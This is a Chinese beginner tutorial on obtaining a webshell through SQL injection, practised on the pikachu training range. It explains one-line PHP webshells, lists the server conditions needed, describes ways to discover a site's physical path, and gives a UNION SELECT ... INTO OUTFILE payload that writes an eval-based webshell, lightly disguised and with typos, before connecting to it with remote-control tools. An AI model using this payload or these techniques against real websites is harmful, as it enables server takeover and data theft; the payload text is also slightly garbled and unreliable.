【新手初学】SQL注入getshell

一、引入

木马介绍:

木马其实就是一段程序,这个程序运行到目标主机上时,主要可以对目标进行远程控制、盗取信息等功能,一般不会破坏目标主机,当然,这也看黑客是否想要搞破坏。

木马类型

按照功能 分类:远控型、破坏型、流氓软件型、盗取信息型等等

按照连接方式 分类:正向连接、反向连接、无连接等

按照功能大小分类:大马、小马、一句话木马

不同的开发语言,都可以写出这些木马程序,网上也能找到很多别人写好的木马程序拿来使用,但是使用别人的木马程序要小心程序中的后门,因为你的劳动成果很有可能被后门窃取了。

大致过程:

我们要通过sql注入点来写入一句话木马程序到目标服务器。 通过网址连接密码 就可以连接上我们上传的一句话木马程序,通过工具(eg:菜刀,蚁剑,冰蝎,哥斯拉等)就可以控制目标主机了。

原理:其实就是该工具给我们上传的相应php文件中的一句话木马程序发送了post请求,并且携带了指令数据,数据格式 :jaden:系统指令eg:jaden:dir,那么一句话木马中 $_POST('jaden')取出dir这个字符串的值,eval这个程序就是将字符串的指令带入到系统中当作系统指令来执行。然后将执行结果返回给了工具,工具再显示出来。

利用条件:

1.木马上传成功 了(访问创建的木马程序时不会报错!)

2.知道木马的路径 在哪里

3.上传的木马能够正常运行

一、SQL注入getshell前提条件

1.mysql开启了**"secure_file_priv="""** 的配置

2.知道了网站代码的真实物理路径

3.物理路径具备写入权限

4.最好是mysql的root用户 ,这个条件非必需,但是有最好

如图:开启配置

Jadenkal2021\] \[Win10_tools\] \[Jaden2003gongfan

补:

①mysql开启**"secure_file_priv=""**的配置:

在my.ini文件(上篇文章已具体介绍该文件在哪个位置,在这里不再具体说明)中添加--即可开启

②获得后台真实物理路径的方法

1、收集站点敏感目录 ,比如phpinfo.php探针文件是否可以访问到

2、站点网址输入一些不存在的网址或者加一些非法参数数据,让网站报错 ,看错误信息中是否存在路径信息

3、指纹信息收集
nginx 默认站点目录:/usr/share/nginx/html,配置文件路径:/etc/nginx/nginx.conf
apache 默认站点目录:/var/ww/html

4、通过站点其他漏洞来获取配置信息、真实物理路径信息,比如如果发现远程命令执行漏洞(后面会讲到各种其他漏洞),针对php的站点,直接执行一个phpinfo()函数,可以看到phpinfo.php所展示的各种信息等等。

5、其他思路:不断进行尝试。

先来测试一下在数据库中用sql语句创建文件:

在相应目录下打开查看是否创建成功

二、测试

在pikachu靶场(依然以字符型注入为例)进行尝试(!!!一定要确定这里有注入点才可进行测试,否则无效)

①通过注入点(在数据库中先进行了测试) 写入木马程序

union select "<?php @xx($_PosT['jaden'J);?>",2 into outfile "c:\IphpStudy\\PHPTutorial\\ww\\jaden.php"+--+
++xx++表示eval,因为直接写eval,我们的这个md文档会被杀软杀掉的。

注入:

开始正式注入测试

在URL后面添加语句:union select "<?php @xx($_PosT['jaden'J);?>",2 into outfile "c:\\IphpStudy\\PHPTutorial\ww\\jaden.php"+--+

文件效果:

只要这个**'一句话木马程序'** 在用sql语句创建的文件里,不论在哪个位置,都可以利用它!

利用工具连接:

连接成功!

相关推荐
搬砖天才、42 分钟前
日常记录-redis主从复制(master-slave)+ Sentinel 哨兵(高可用)
数据库·redis·sentinel
努力奋斗的小杨1 小时前
学习MySQL的第十一天
数据库·笔记·sql·学习·mysql·navicat
TDengine (老段)1 小时前
TDengine 流计算引擎设计
大数据·数据库·物联网·flink·时序数据库·tdengine·涛思数据
双叶8361 小时前
(51单片机)LCD展示动画(延时函数)(LLCD1602教程)
c语言·数据库·c++·单片机·嵌入式硬件·51单片机
长安城没有风1 小时前
从入门到精通【MySQL】视图与用户权限管理
数据库·mysql
samson_www1 小时前
试水低代码平台Nocoly
数据库·低代码·low-code
GreatSQL2 小时前
使用 gt-checksum 分析迁移对象
数据库
用户6279947182622 小时前
南大通用GBase8s数据库的create distinct type语句详解
数据库
bing_1582 小时前
Nacos 客户端 SDK 的核心功能是什么?是如何与服务端通信的?
服务器·数据库·nacos 通信
AnsenZhu2 小时前
Redis Cluster 使用 CRC16 算法实现 Slot 槽位分片的核心细节
数据库·redis·缓存·crc16